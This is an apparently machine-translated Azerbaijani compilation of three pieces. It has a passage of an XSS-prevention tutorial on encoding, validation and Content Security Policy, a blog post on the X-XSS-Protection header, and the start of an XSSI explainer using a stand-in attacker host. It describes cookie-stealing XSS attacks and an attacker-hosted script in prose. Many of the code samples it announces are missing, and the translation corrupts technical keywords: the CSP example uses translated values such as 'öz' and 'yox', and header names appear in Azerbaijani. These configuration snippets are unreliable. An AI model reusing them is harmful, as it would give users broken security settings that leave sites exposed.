    • Validasiya istifadəçi daxiletməsini filtrləmə üsuludur ki, brauzer onu zərərli əmrlər olmadan kod kimi şərh etsin.

    Bunlar kökündən fərqli XSS təsirini azaltma üsulları olsa da, onlardan hər hansı birini istifadə edərkən başa düşmək üçün vacib olan bir neçə ümumi xüsusiyyətləri paylaşırlar:

    Kontekst Təhlükəsiz daxiletmənin idarə edilməsi istifadəçi daxiletməsinin səhifənin harada istifadə olunduğundan asılı olaraq fərqli şəkildə həyata keçirilməlidir. daxil olan/çıxan Təhlükəsiz daxilolma emalı ya saytınız giriş (daxil olan trafik) qəbul etdikdə, ya da saytın səhifə məzmununa istifadəçi daxiletməsini daxil etməzdən əvvəl (gidən) həyata keçirilə bilər. Müştəri/Server Təhlükəsiz giriş emalı ya müştəri tərəfində, ya da server tərəfində həyata keçirilə bilər, hər bir seçim müxtəlif şəraitlərdə tələb olunur.

    Kodlaşdırma və doğrulamanın necə işlədiyini ətraflı izah etməzdən əvvəl bu məqamların hər birini təsvir edəcəyik.

    Kontekstlərdə istifadəçi daxiletməsinin idarə edilməsi

    Veb səhifədə istifadəçi daxiletməsinin tətbiq oluna biləcəyi bir çox kontekst var. Onların hər biri üçün istifadəçi daxiletməsinin kontekstindən qaça bilməməsi və zərərli kod kimi şərh edilməməsi üçün xüsusi qaydalara əməl edilməlidir. Aşağıdakılar ən çox yayılmış kontekstlərdir:

    Niyə kontekstlər vacibdir?

    Təsvir edilən bütün kontekstlərdə, ilk kodlaşdırma və ya doğrulamadan əvvəl istifadəçi daxiletməsi daxil edilərsə, XSS zəifliyi yarana bilər. Təcavüzkar zərərli kodun ardınca bu kontekst üçün bağlanma ayırıcısını daxil etməklə sadəcə olaraq zərərli kodu yeridə bilər.

    Məsələn, əgər hansısa bir anda vebsayt istifadəçi daxiletməsini birbaşa HTML atributuna daxil edərsə, təcavüzkar aşağıda göstərildiyi kimi daxiletməni sitatla başladaraq zərərli skripti yeridə bilər:

    Bunun qarşısını sadəcə olaraq istifadəçi girişindəki bütün sitatları silməklə almaq olar və hər şey yaxşı olardı, ancaq bu kontekstdə. Daxiletmə başqa kontekstdə daxil edilibsə, bağlama ayırıcı fərqli olacaq və inyeksiya mümkün olacaq. Bu səbəbdən, təhlükəsiz giriş idarəsi həmişə istifadəçi girişinin daxil ediləcəyi kontekstə uyğunlaşdırılmalıdır.

    Daxil olan/gidən istifadəçi girişinin idarə edilməsi

    İnstinktiv olaraq belə görünür ki, saytımız onu qəbul edən kimi bütün istifadəçi girişini kodlaşdırmaq və ya təsdiqləməklə XSS-in qarşısını almaq olar. Bu yolla, hər hansı zərərli sətirlər səhifəyə daxil edildikdə artıq zərərsizləşdiriləcək və HTML nəsil skriptləri istifadəçi daxiletməsini təhlükəsiz idarə etməkdən narahat olmayacaq.

    Problem ondadır ki, əvvəllər təsvir edildiyi kimi, istifadəçi girişi bir səhifədə bir neçə kontekstə daxil edilə bilər. İstifadəçi daxiletməsinin kontekstə nə vaxt daxil olduğunu müəyyən etməyin asan yolu yoxdur - onun sonda necə daxil ediləcəyini və eyni istifadəçi daxiletməsini çox vaxt müxtəlif kontekstlərə daxil etmək lazımdır. XSS-nin qarşısını almaq üçün daxil olan daxilolmaların işlənməsinə arxalanaraq, biz səhvə meyilli olan çox kövrək bir həll yaradırıq. (Mirsi PHP "sehrli sitatlar" belə bir həll nümunəsidir.)

    Bunun əvəzinə, gedən giriş emalı XSS-ə qarşı əsas müdafiə xəttiniz olmalıdır, çünki o, hansı istifadəçi daxiletməsinin daxil ediləcəyinin xüsusi kontekstini nəzərə ala bilər. Müəyyən dərəcədə, daxil olan doğrulama ikinci dərəcəli təhlükəsizlik qatını əlavə etmək üçün istifadə edilə bilər, lakin bu barədə daha sonra.

    İstifadəçi daxiletməsini təhlükəsiz idarə etmək harada mümkündür?

    Müasir veb proqramların əksəriyyətində istifadəçi daxiletməsi həm server, həm də müştəri tərəfində işlənir. Bütün növ XSS-lərdən qorunmaq üçün təhlükəsiz giriş idarəsi həm server, həm də müştəri tərəfi kodunda həyata keçirilməlidir.

    • Ənənəvi XSS-dən qorunmaq üçün təhlükəsiz giriş idarəsi server tərəfi kodda aparılmalıdır. Bu, server tərəfindən dəstəklənən bəzi dillərdən istifadə etməklə edilir.
    • DOM-da XSS hücumundan qorunmaq üçün, server heç vaxt zərərli sətir qəbul etmir (məsələn, əvvəllər təsvir edilmiş identifikator fraqmentinə hücum), təhlükəsiz daxiletmə klient kodunda həyata keçirilməlidir. Bu JavaScript istifadə edərək edilir.

    İndi biz kontekstin nə üçün vacib olduğunu, daxil olan və gedən daxiletmənin işlənməsi arasındakı fərqin nə üçün vacib olduğunu və nə üçün hər iki tərəfdən, müştəri və server tərəfində təhlükəsiz daxiletmənin həyata keçirilməli olduğunu izah etdikdən sonra, ikisinin necə olduğunu izah etməyə davam edə bilərik təhlükəsiz giriş emalı növləri (kodlaşdırma və doğrulama) faktiki olaraq həyata keçirilir.

    Kodlaşdırma

    Kodlaşdırma, brauzerin istifadəçi girişini kod deyil, yalnız məlumat kimi şərh etməsi lazım olduğu vəziyyətdən çıxış yoludur. Veb inkişafında ən populyar kodlaşdırma növü kimi simvolları çevirən HTML maskasıdır< и >V< и >müvafiq olaraq.

    Aşağıdakı psevdokod istifadəçi daxiletməsinin (istifadəçi girişinin) HTML maskalanması ilə necə kodlaşdırıla biləcəyinə və sonra server tərəfi skriptdən istifadə edərək səhifəyə daxil edilməsinə nümunədir:

    çap ""
    çap "Son şərh:"
    çap encodeHtml(userInput)
    çap ""

    İstifadəçi aşağıdakı sətirə daxil olarsa..., nəticədə HTML belə görünəcək:


    Son şərh:
    ...

    Xüsusi məna daşıyan bütün simvollar qaçırıldığı üçün brauzer HTML kimi istifadəçi daxiletməsinin heç bir hissəsini təhlil etməyəcək.

    Kodlaşdırma müştəri və server tərəfi kodu

    Müştəri tərəfində kodlaşdırma həyata keçirərkən, həmişə müxtəlif kontekstlər üçün məlumatları kodlayan daxili funksiyaları olan JavaScript istifadə olunur.

    Server tərəfindəki kodunuzda kodlaşdırmanı edərkən, siz dilinizdə və ya çərçivənizdə mövcud olan xüsusiyyətlərə etibar edirsiniz. Mövcud dillərin və çərçivələrin çoxluğuna görə, bu dərslik hər hansı bir xüsusi server dilində və ya çərçivədə kodlaşdırma təfərrüatlarını əhatə etməyəcək. Bununla belə, server tərəfində kod yazarkən müştəri tərəfində istifadə olunan JavaScript kodlaşdırma funksiyalarından da istifadə olunur.

    Müştəri tərəfinin kodlaşdırılması

    JavaScript istifadə edərək müştəri tərəfindən istifadəçi girişini kodlaşdırarkən, bütün məlumatları kontekstə həssas üslubda avtomatik kodlayan bir neçə daxili metod və xüsusiyyətlər mövcuddur:

    Yuxarıda qeyd olunan sonuncu kontekst (JavaScript-dəki dəyərlər) bu siyahıya daxil edilməyib, çünki JavaScript JavaScript mənbə koduna daxil ediləcək verilənlərin kodlaşdırılmasının daxili üsulunu təmin etmir.

    Kodlaşdırma Məhdudiyyətləri

    Hətta kodlaşdırma zamanı bəzi kontekstlərdə zərərli sətirlərdən istifadə etmək mümkündür. Bunun əsas nümunəsi aşağıdakı nümunədəki kimi istifadəçi daxiletməsinin URL təmin etmək üçün istifadə edilməsidir:

    document.querySelector("a").href = userInput

    Elementin href xassəsində dəyərin təyin edilməsi onu avtomatik olaraq kodlaşdırsa da, o, atribut dəyərindən başqa bir şeyə çevrilməyəcək, bu, özlüyündə təcavüzkarın "javascript:" ilə başlayan URL daxil etməsinə mane olmur. Konstruksiyasından asılı olmayaraq linkə kliklədikdə, URL daxilində quraşdırılmış JavaScript yerinə yetiriləcək.

    İstifadəçilərin səhifədəki bəzi HTML kodundan istifadə edə bilməsini istədiyiniz zaman kodlaşdırma da effektiv həll yolu deyil. Məsələn, istifadəçinin xüsusi HTML istifadə edə biləcəyi istifadəçi profili səhifəsi ola bilər. Bu sadə HTML kodlaşdırılıbsa, profil səhifəsi yalnız düz mətndən ibarət ola biləcək.

    Belə vəziyyətlərdə kodlaşdırma sonradan baxacağımız yoxlama ilə tamamlanmalıdır.

    Doğrulama

    Təsdiqləmə istifadəçi daxiletmələrinin süzgəcdən keçirilməsi aktıdır ki, onun bütün zərərli hissələri oradan bütün kodu silmədən silinsin. Veb tərtibatında ən çox istifadə edilən doğrulama növlərindən biri bəzi HTML elementlərindən (məsələn, və ) istifadə edərkən digərlərini (məsələn, ) deaktiv etməyə imkan verir.

    Tətbiqlərində fərqlənən iki əsas xarakterik yoxlama var:

    Təsnifat Strategiyası İstifadəçi daxiletmələri qara siyahılar və ya ağ siyahılar vasitəsilə təsnif edilə bilər. Doğrulama Nəticəsi Zərərli kimi müəyyən edilən istifadəçi daxiletməsi rədd edilə və ya təmizlənə bilər.

    Təsnifat strategiyası Qara siyahı

    İnstinktiv olaraq, istifadəçi girişində görünməməli olan qadağan edilmiş nümunəni təyin edərək yoxlamanı yerinə yetirmək məqsədəuyğun görünür. Xətt bu nümunəyə uyğun gəlirsə, o, etibarsız kimi qeyd olunur. Məsələn, istifadəçilərə javascript istisna olmaqla istənilən protokolla fərdi URL-lər təqdim etməyə icazə verin: . Bu təsnifat strategiyası adlanır qara siyahı.

    Bununla belə, qara siyahının iki əsas çatışmazlığı var:

    Bütün mümkün zərərli sətirlərin dəstini dəqiq təsvir etmək çətinliyi adətən çox çətin məsələdir. Yuxarıda təsvir edilən nümunə siyasətini sadəcə olaraq "javascript" alt sətirini axtarmaqla uğurla həyata keçirmək mümkün deyil, çünki o, "Javascript:" (ilk hərfin böyük hərf olduğu) və "javascript:" (ilk hərfin rəqəmsal olaraq kodlandığı yer) kimi sətirləri əldən verər. xarakterə istinad). Kəsilmə Mükəmməl bir qara siyahı hazırlansa belə, brauzerə əlavə edilmiş yeni funksiya hücum üçün istifadə oluna bilərsə, faydasız olardı. Məsələn, əgər onmousewheel atributu HTML5-də təqdim edilməmişdən əvvəl HTML təsdiqləmə qara siyahısı hazırlanmışdısa, o, XSS hücumu həyata keçirmək üçün təcavüzkarın bu atributdan istifadəsini dayandıra bilməz. Bu çatışmazlıq, daim yenilənən bir çox fərqli texnologiyalardan ibarət veb inkişafında xüsusilə vacibdir.

    Bu çatışmazlıqlara görə təsnifat strategiyası kimi qara siyahıya düşmək qəti şəkildə tövsiyə edilmir. Ağ siyahıya salınma, ümumiyyətlə, daha təhlükəsiz bir yanaşmadır, biz bunu sonra təsvir edəcəyik.

    Ağ siyahı

    Ağ siyahı mahiyyət etibarilə qara siyahının əksidir: qadağan edilmiş nümunəni müəyyən etmək əvəzinə, ağ siyahı yanaşması icazə verilən nümunəni müəyyən edir və girişi etibarsız kimi qeyd edir. uyğun gəlmir bu şablon.

    Qara siyahılardan fərqli olaraq, ağ siyahılara misal olaraq istifadəçilərə yalnız http: və https: protokollarını ehtiva edən fərdi URL-ləri təqdim etmək icazəsi verilə bilər. Bu yanaşma "Javascript:" və ya "javascript:" kimi təqdim olunsa belə, URL-nin tərkibində javascript: protokolu varsa, avtomatik olaraq etibarsız kimi qeyd olunmasına imkan verəcək.

    Qara siyahı ilə müqayisədə ağ siyahıların iki əsas üstünlüyü var:

    Sadəlik Yaxşı xasiyyətli sətirlər dəstini dəqiq təsvir etmək, adətən, bütün zərərli sətirlərin dəstini müəyyən etməkdən daha asandır. Bu, xüsusilə istifadəçi daxiletməsinin brauzerdə mövcud olan çox məhdud funksionallıq dəstini ehtiva etməli olduğu ümumi vəziyyətlərdə tətbiq edilir. Məsələn, yuxarıda təsvir edilən ağ siyahı sadəcə olaraq URL-lərin yalnız HTTP: və ya https: icazə protokolları ilə istifadə edilməsinə imkan verir və əksər hallarda bu, istifadəçilər üçün kifayətdir. Davamlılıq Qara siyahıdan fərqli olaraq, brauzerə yeni funksiya əlavə edildikdə ağ siyahı adətən köhnəlmir. Məsələn, HTML ağ siyahının doğrulanması, HTML5 onmousewheel atributunun tətbiqindən əvvəl (ağ siyahı) tərtib edilmiş olsa belə, yalnız HTML elementlərinin başlıq atributlarının təhlükəsiz qalmasına imkan verir.

    Doğrulama nəticəsi

    İstifadəçi daxiletməsi etibarsız (qadağan) kimi qeyd edildikdə, iki hərəkətdən biri həyata keçirilə bilər:

    Daxiletmənin rədd edilməsi sadəcə olaraq rədd edilir və onun saytda başqa yerdə istifadəsinə mane olur. Daxil edilmiş məlumatların bütün etibarsız hissələrinin təmizlənməsi silinir və qalan giriş həmişəki kimi veb saytında istifadə olunur.

    İkisindən əyilmə həyata keçirmək üçün ən sadə yanaşmadır. Lakin dezinfeksiya daha faydalı hesab edilir, çünki o, istifadəçi üçün daha geniş giriş təmin edir. Məsələn, istifadəçi kredit kartı nömrəsini təqdim edərsə, sanitarizasiya bütün simvol olmayan simvolları siləcək və kodun yeridilməsinin qarşısını alacaq, həmçinin istifadəçiyə tire ilə və ya tiresiz nömrə daxil etməyə imkan verəcək.

    Dezinfeksiyanı həyata keçirmək qərarına gəlsəniz, dezinfeksiya prosedurunun özünün qara siyahı yanaşmasından istifadə etməməsini təmin etməlisiniz. Məsələn, "Javascript:..." URL-i ağ siyahıdan istifadə etməklə etibarsız kimi müəyyən edilsə belə, sadəcə olaraq "javascript:" in bütün nümunələrini silən sanitarlaşdırma yan keçməsi prosedurunu alacaq. Bu səbəbdən yaxşı sınaqdan keçmiş kitabxanalar və çərçivələr mümkün olduqda sanitarizasiyadan istifadə etməlidirlər.

    Qarşısının alınması üçün hansı üsullardan istifadə edilməlidir?

    Kodlaşdırma XSS hücumlarına qarşı ilk müdafiə xəttiniz olmalıdır, onun məqsədi məlumatları brauzerin istifadəçi daxiletməsini kod kimi şərh edə bilməyəcəyi şəkildə emal etməkdir. Bəzi hallarda kodlaşdırma doğrulama ilə tamamlanmalıdır. Kodlaşdırma və doğrulama gedən trafikə tətbiq edilməlidir, çünki yalnız bundan sonra istifadəçi daxiletməsinin hansı kontekstdə tətbiq ediləcəyini və hansı kodlaşdırma və doğrulamanın tətbiq edilməsi lazım olduğunu bilə bilərsiniz.

    İkinci müdafiə xətti olaraq, javascript: protokolundan istifadə edərək, daxil olan məlumatların təmizlənməsini və ya keçidlər kimi açıq-aydın etibarsız istifadəçi daxiletməsinin rədd edilməsini tətbiq etməlisiniz. Bu, özlüyündə tam təhlükəsizliyi təmin edə bilməz, lakin kodlaşdırma və doğrulama mühafizəsindəki hər hansı bir nöqtə səhv icraya görə uğursuz olarsa, bu, faydalı ehtiyat tədbiridir.

    Bu iki müdafiə xətti ardıcıl olaraq istifadə olunarsa, saytınız XSS hücumlarından qorunacaq. Bununla belə, veb-saytın yaradılması və saxlanmasının mürəkkəbliyinə görə, yalnız təhlükəsiz istifadəçi girişinin emalından istifadə edərək tam təhlükəsizliyin təmin edilməsi çətin ola bilər. Üçüncü müdafiə xətti olaraq, Məzmun Təhlükəsizliyi Siyasətlərindən istifadə etməlisiniz ( İngilis dili Məzmun Təhlükəsizliyi Siyasəti), sonra aşağıda təsvir edəcəyimiz CSP.

    Məzmun Təhlükəsizliyi Siyasətləri (CSP)

    XSS hücumlarından qorunmaq üçün yalnız təhlükəsiz istifadəçi daxiletməsindən istifadə etmək kifayət deyil, çünki hətta bir təhlükəsizlik səhvi veb saytınızı təhlükəyə ata bilər. Yeni veb standartından Məzmun Təhlükəsizliyi Siyasətlərinin (CSPs) qəbul edilməsi bu riski azalda bilər.

    CSP-lər brauzerin veb-səhifədən istifadəsini məhdudlaşdırmaq üçün istifadə olunur ki, o, yalnız etibarlı mənbələrdən yüklənmiş resurslardan istifadə edə bilsin. A resurslar skriptlər, üslub cədvəlləri, şəkillər və ya səhifədə istinad edilən hər hansı digər fayl növüdür. Bu o deməkdir ki, təcavüzkar saytınıza zərərli məzmun yeritməyi bacarsa belə, CSP onun həyata keçirilməsinin qarşısını ala biləcək.

    CSP aşağıdakı qaydaları tətbiq etmək üçün istifadə edilə bilər:

    Etibarsız mənbələrə qadağa qoyulması Xarici resurslar yalnız dəqiq müəyyən edilmiş etibarlı mənbələrdən endirilə bilər. Daxili resurslara icazə verməməklə, daxili JavaScript və CSS nəzərə alınmayacaq. Qiymətləndirmənin söndürülməsi JavaScript-də qiymətləndirmə funksiyasının istifadəsini qadağan edir.

    CSP fəaliyyətdədir

    Aşağıdakı nümunədə təcavüzkar veb səhifəyə zərərli kodu yeritməyi bacardı:


    Son şərh:

    Düzgün müəyyən edilmiş CSP siyasəti ilə brauzer malicious-script.js faylını endirə və icra edə bilməz, çünki http://attacker/ etibarlı mənbə kimi göstərilməyib. Sayt bu halda istifadəçi daxiletməsini etibarlı şəkildə emal edə bilməsə də, CSP-nin siyasəti zəifliyin hər hansı zərər vurmasının qarşısını aldı.

    Təcavüzkar xarici fayla keçid deyil, skript kodunun içərisinə kodu yeritsə belə, düzgün konfiqurasiya edilmiş CSP siyasəti JavaScript koduna inyeksiyanın qarşısını alacaq, zəifliyin qarşısını alacaq və hər hansı zərərə səbəb olacaq.

    CSP-ni necə aktivləşdirmək olar?

    Varsayılan olaraq, brauzerlər CSP-dən istifadə etmirlər. Veb saytınızda CQBK-nı aktivləşdirmək üçün səhifələrdə əlavə HTTP başlığı olmalıdır: Məzmun-Təhlükəsizlik-Siyasəti. Brauzerin CSP-ni dəstəkləməsi şərti ilə bu başlığı ehtiva edən istənilən səhifə brauzer tərəfindən yükləndikdə təhlükəsizlik siyasətlərini tətbiq edəcək.

    Təhlükəsizlik siyasəti hər HTTP cavabı ilə göndərildiyi üçün serverin siyasəti hər səhifə üçün fərdi olaraq təyin etməsi mümkündür. Hər cavabda eyni CSP başlığını daxil etməklə eyni siyasət bütün vebsayta tətbiq oluna bilər.

    Məzmun-Təhlükəsizlik-Siyasət başlığındaki dəyər saytınızda işləyəcək bir və ya bir neçə təhlükəsizlik siyasətini müəyyən edən sətirdən ibarətdir. Bu xəttin sintaksisi aşağıda təsvir olunacaq.

    Bu bölmədəki başlıq nümunələri istinad asanlığı üçün sətir kəsimlərindən və girintilərdən istifadə edir; onlar faktiki başlıqda görünməməlidir.

    CSP sintaksisi

    CSP başlıq sintaksisi aşağıdakı kimidir:

    Məzmun-Təhlükəsizlik-Siyasəti:
    direktiv mənbə-ifadə, mənbə-ifadə, ...;
    direktiv ...;
    ...

    Bu sintaksis iki elementdən ibarətdir:

    • Direktivlər verilmiş siyahıdan götürülmüş resursun növünü göstərən sətirlərdir.
    • Mənbə ifadələri resursların yüklənə biləcəyi bir və ya bir neçə serveri təsvir edən modeldir.

    Hər bir direktiv üçün mənbə ifadəsindəki məlumatlar müvafiq tipli resursları yükləmək üçün hansı mənbələrdən istifadə oluna biləcəyini müəyyən edir.

    Direktivlər

    CSP başlığında aşağıdakı direktivlərdən istifadə edilə bilər:

    • əlaqə-src
    • font-src
    • çərçivə-src
    • img-src
    • media-src
    • obyekt-src
    • script-src
    • style-src

    Bundan əlavə, xüsusi default-src direktivi başlığa daxil edilməyən bütün direktivlər üçün standart dəyər təmin etmək üçün istifadə edilə bilər.

    Mənbə ifadəsi

    Mənbə ifadəsi yaratmaq üçün sintaksis aşağıdakı kimidir:

    protokol: // host adı: port nömrəsi

    Host adı * ilə başlaya bilər, yəni təqdim olunan host adının istənilən alt domeni həll olunacaq. Eynilə, port nömrəsi * kimi göstərilə bilər, yəni bütün portlara icazə veriləcəkdir. Bundan əlavə, protokol və port nömrəsi buraxıla bilər. Heç bir protokol göstərilməyibsə, siyasət HTTPS istifadə edərək bütün resursların yüklənməsini tələb edəcək.

    Yuxarıdakı sintaksisə əlavə olaraq, mənbə ifadəsi alternativ olaraq xüsusi məna daşıyan dörd açar sözdən biri ola bilər (sitatlar daxildir):

    "heç biri" resursları söndürür. "self" veb səhifənin yerləşdiyi hostdan resurslara icazə verir. "təhlükəsiz-inline" səhifədə olan resursları daxili elementlər, elementlər və javascript kimi həll edir: URL-lər. "unsafe-eval" JavaScript funksiyasını aktivləşdirir eval .

    Nəzərə alın ki, CSP istifadə edildikdə, daxili resurslar və qiymətləndirmə avtomatik olaraq defolt olaraq söndürülür. "təhlükəsiz-inline" və "təhlükəsiz-qiymətləndirici" ifadələrindən istifadə onlardan istifadə etməyin yeganə yoludur.

    Siyasət nümunəsi

    Məzmun-Təhlükəsizlik-Siyasəti:
    script‑src "öz" scripts.example.com;
    media‑src "yox";
    img‑src *;
    default‑src "self" http://*.example.com

    Bu nümunə siyasətlə veb səhifədə aşağıdakı məhdudiyyətlər olacaq:

    • Skriptləri yalnız veb-səhifənin yerləşdiyi hostdan və bu ünvandan yükləmək olar: scripts.example.com.
    • Audio və video faylları yükləmək qadağandır.
    • Şəkil faylları istənilən ünvandan endirilə bilər.
    • Bütün digər resurslar yalnız veb-səhifənin yerləşdiyi hostdan və example.com-un istənilən alt domenindən yüklənə bilər.
    CSP statusu

    2013-cü ilin iyun ayından etibarən Məzmun Təhlükəsizliyi Siyasətləri W3C konsorsiumu tərəfindən tövsiyə olunur. CSP brauzer tərtibatçıları tərəfindən həyata keçirilir, lakin onun bəzi hissələri müxtəlif brauzerlərə xasdır. Məsələn, HTTP başlığının istifadəsi brauzerlər arasında fərqli ola bilər. CSP-dən istifadə etməzdən əvvəl dəstəkləməyi planlaşdırdığınız brauzerlərin sənədləri ilə məsləhətləşin.

    Xülasə Xülasə: XSS İcmal
    • XSS hücumu, istifadəçi daxiletməsinin etibarlı olmayan işlənməsi nəticəsində mümkün olan kod inyeksiya hücumudur.
    • Uğurlu XSS hücumu təcavüzkara qurbanın brauzerində zərərli JavaScript-i icra etməyə imkan verir.
    • Uğurlu XSS hücumu həm veb-saytın, həm də onun istifadəçilərinin təhlükəsizliyini pozur.
    Xülasə: XSS hücumları
    • XSS hücumlarının üç əsas növü var:
      • Zərərli girişin veb saytın verilənlər bazasından qaynaqlandığı XSS ​​saxlanılır.
      • Zərərli girişin qurbanın sorğusundan qaynaqlandığı əks olunan XSS.
      • XSS hücumları DOM-da, burada zəiflik server tərəfində deyil, müştəri tərəfində kodda istifadə olunur.
    • Bu hücumların hamısı fərqli şəkildə həyata keçirilir, lakin uğurlu olarsa eyni təsirə malikdir.
    Xülasə: XSS-nin qarşısının alınması
    • XSS hücumlarının qarşısını almağın ən vacib yolu təhlükəsiz giriş emalını həyata keçirməkdir.
      • Səhifədə istifadəçi girişi aktiv olduqda kodlaşdırma edilməlidir.
      • Bəzi hallarda kodlaşdırma dəyişdirilməli və ya təsdiqləmə ilə tamamlanmalıdır.
      • Təhlükəsiz girişin idarə edilməsi istifadəçi daxiletməsinin hansı səhifə kontekstinə daxil edildiyini nəzərə almalıdır.
      • XSS hücumlarının bütün növlərinin qarşısını almaq üçün həm müştəri, həm də server tərəfi kodunda təhlükəsiz giriş emalı həyata keçirilməlidir.
    • Məzmun Təhlükəsizliyi Siyasətləri (CSP) təhlükəsiz giriş emalında xəta olması halında əlavə qorunma səviyyəsini təmin edir.
    Əlavə Terminologiya

    Qeyd etmək lazımdır ki, XSS-i təsvir etmək üçün istifadə olunan terminologiyada krossover var: DOM-da XSS hücumu ya saxlanıla, ya da əks oluna bilər; Bunlar ayrı-ayrı hücum növləri deyil. Qarışıqlıq olmadan bütün XSS növlərini əhatə edən ümumi qəbul edilmiş terminologiya yoxdur. XSS-i təsvir etmək üçün istifadə olunan terminologiyadan asılı olmayaraq, ən başlıcası hücumun növünü müəyyən etməkdir, bu, zərərli girişin haradan gəldiyini və zəifliyin harada yerləşdiyini bilsəniz mümkündür.

    İstifadə hüquqları və bağlantılar

    Üçün mənbə kodu Həddindən artıq XSS GitHub-da mövcuddur.

    Həddindən artıq XSS 2013-cü ildə Chalmers Texnologiya Universitetində Dilə əsaslanan təhlükəsizlik kursunun bir hissəsi kimi yaradılmışdır.

    Rus dilinə tərcümə A888R tərəfindən həyata keçirilib, orijinal mətn ingilis dilində: extra-xss.com, şərhlər, təkliflər və tərcümədəki səhvlər buraya göndərilməlidir.

    Təhlükəsizlik başlıqlarının istifadəsi veb saytı və onun ziyarətçilərini haker hücumlarından qorumaq üçün vacib bir hissədir. Mühafizə və təhlükəsizlik bölməsi ilə bağlı son məqalədə bu mövzuda mütəmadi olaraq yazılar dərc etməyə söz verdim. Bu gün XSS hücumlarından qorunma haqqında danışacağam.

    XSS hücumu nədir

    Cross Site Scripting, təcavüzkarın veb-saytın məzmununa zərərli kodu (adətən HTML və ya JavaScript) yeritməyə imkan verən zəiflikdir. Zərərli kod, yoluxmuş veb-sayt səhifəsinə baxan istifadəçinin brauzerində icra olunur.

    Təcavüzkarlar müxtəlif zəifliklərdən istifadə edə bilərlər. Ən çox yayılmış hücum növləri bunlardır:

    • Reflected XSS, istifadəçidən xüsusi bir hərəkət tələb edən ən çox yayılmış davamlı olmayan hücum növüdür.
    • Persistent XSS, serverə zərərli kodu yeridən və istifadəçi müdaxiləsini tələb etməyən daimi hücum növüdür.
    XSS hücumunu əks etdirdi

    Bir istifadəçi zəifliyi olan sayta sorğu göndərən xüsusi hazırlanmış keçidi izlədikdə işə salınır. Bu zəiflik adətən funksiyaların manipulyasiya edilməsinə və zərərli skriptlərin aktivləşdirilməsinə imkan verən daxil olan sorğuların kifayət qədər süzülməməsinin nəticəsidir.

  • Təcavüzkar istifadəçi seansının kukilərinə baxmaq imkanı verən hiperlinkə zərərli skripti yerləşdirir və onu e-poçt və ya digər rabitə vasitələri ilə qurbana göndərir.
  • Linkə kliklədikdə istifadəçi ələ keçirilir.
  • Skript istifadəçinin brauzerində işləyir.
  • Brauzer istifadəçinin şəxsi məlumatlarına girişi təmin edərək təcavüzkara kukilər göndərir.
    • Saxlanmış XSS hücumu

    Saxlanılan hücumu uğurla həyata keçirmək üçün təcavüzkar sadəcə olaraq saytda bir boşluq tapmalı və öz serverində zərərli skript yerləşdirməlidir. Sonra sayt skripti xarici saytdan yükləyən teq yerləşdirir, məsələn, şərhlərdə. Yoluxmuş səhifə yükləndikdə, hər dəfə istifadəçinin brauzerinə zərərli skript ötürülür.

  • Təcavüzkar XSS zəifliyi olan saytı aşkar edir və istifadəçinin kukilərini oğurlayan zərərli skript yeridir.
  • Hər dəfə sayta daxil olanda zərərli skript heç bir hərəkət etmədən aktivləşdirilir.
  • Ziyarətçinin brauzerindən sessiya kukiləri təcavüzkara göndərilir.

    • X-XSS-Protection başlığının aktivləşdirilməsi

    X-XSS-Protection başlığı bütün müasir brauzerlərdə quraşdırılmış saytlararası skript filtrini aktivləşdirmək üçün nəzərdə tutulub. Bu, məsələn, səhifənin URL-də etiketin icrasının qarşısını almağa imkan verəcəkdir.

    Hesabatların göndərilməsi üçün hesabat direktivi, istifadəçinin brauzerinə məzmun təhlükəsizliyi siyasətini pozmaq cəhdləri barədə məlumat verməyi təlimatlandıraraq, report-uri (və ya hesabat üçün) Məzmun Təhlükəsizliyi Siyasəti (CSP) direktivinə oxşar şəkildə hərəkət edir. Bu barədə ayrı bir məqalədə danışacağam.

    Pozuntu hesabatı JSON formatında yaradılır və POST sorğuları vasitəsilə göstərilən URL-ə göndərilir.

    Əsas mövzuya qayıdaraq, mən serveri elə qurmağı məsləhət görürəm ki, HTTP başlığına süzgəc daxil olsun və XSS hücumu zamanı təhlükəli məzmunlu səhifənin yüklənməsini blok etsin. Apache veb serverinin əlavə file.htaccess konfiqurasiyasına (və ya serverə tam girişiniz varsa httpd.conf) aşağıdakı girişi əlavə etməlisiniz:

    Başlıq dəsti X-XSS-Müdafiə "1; rejim=blok"

    Nginx serveri üçün HTTP bölməsində nginx.conf faylına aşağıdakı girişi əlavə edin:

    Add_header X-XSS-Mühafizə "1; rejim=blok" ;

    Server konfiqurasiya fayllarına giriş olmadıqda, lakin PHP dəstəyi varsa, funksiyadan istifadə edin:

    XSS kimi də tanınan Cross Site Scripting, müştəri tərəfində icra edilən zərərli kodun yeridilməsi üsuludur. İstifadəçi səhv bir şey görə bilər, məsələn, səhifənin qeyri-adi davranışı, bəzən hücum fonda tamamilə görünməz şəkildə baş verir.

    Ümid edirik ki, indi HTTP server başlıqları haqqında bir az daha çox başa düşürsünüz və X-XSS saytlar arası skriptin qarşısını almağa kömək edə bilər. Mən bütün saytlarımda təhlükəsizlik başlıqlarından istifadə edirəm və sizi də eyni şeyi etməyə təşviq edirəm. Biz birlikdə interneti daha təhlükəsiz edə bilərik! 😉

    Sadə bir hücum - Cross Site Scripting Inclusion (XSSI) istifadə edərək üçüncü tərəf saytlarından müxtəlif məlumatları əldə etmək imkanı haqqında.

    Əgər Easy Hack-i sistematik şəkildə oxuyursunuzsa, o zaman yəqin ki, siz eyni mənşə siyasəti (SOP) ilə çox tanışsınız, biz tez-tez ona qayıdırıq. SOP-a görə, iki "sayt" arasında qarşılıqlı əlaqə imkanı çox məhduddur. Ancaq bir saytdan digərindən məlumat almaq və göndərmək vəzifəsi tez-tez yarandığından, siyasəti "yumşaltmaq" və qarşılıqlı əlaqəni təşkil etmək üçün müxtəlif üsullar tətbiq edilmişdir. Məsələn, CORS və ya crossdomain.xml kimi. Köhnə üsullardan biri JavaScript-i başqa bir domendən yükləməkdir. SOP bizi heç bir şəkildə məhdudlaşdırmır: demək olar ki, ixtiyari bir yer təyin edə bilərsiniz.

    Məsələn, təcavüzkarın evil.ru hostu və qurbanın veb-saytı var - Qurban.com. Evil.ru saytında bir HTML faylı qoya və qurbandan istənilən skriptə keçid edə bilərik:

    İstifadəçi təcavüzkarın veb saytına daxil olduqda, brauzer Qurban.com saytından JS yükləyəcək və işlədəcək, lakin SOP evil.ru kontekstində. Bu o deməkdir ki, təcavüzkarın JS-dən biz qurbanın serverindən JS məlumatlarına (hamısına deyil) daxil ola biləcəyik.

    Məsələn, qurbanın saytından JS məzmunu (http://victim.com/any_script_.js):

    Var a = "12345";

    Sonra təcavüzkarın saytında dəyişənin dəyərini əldə edə bilərik:

    console.log(a);

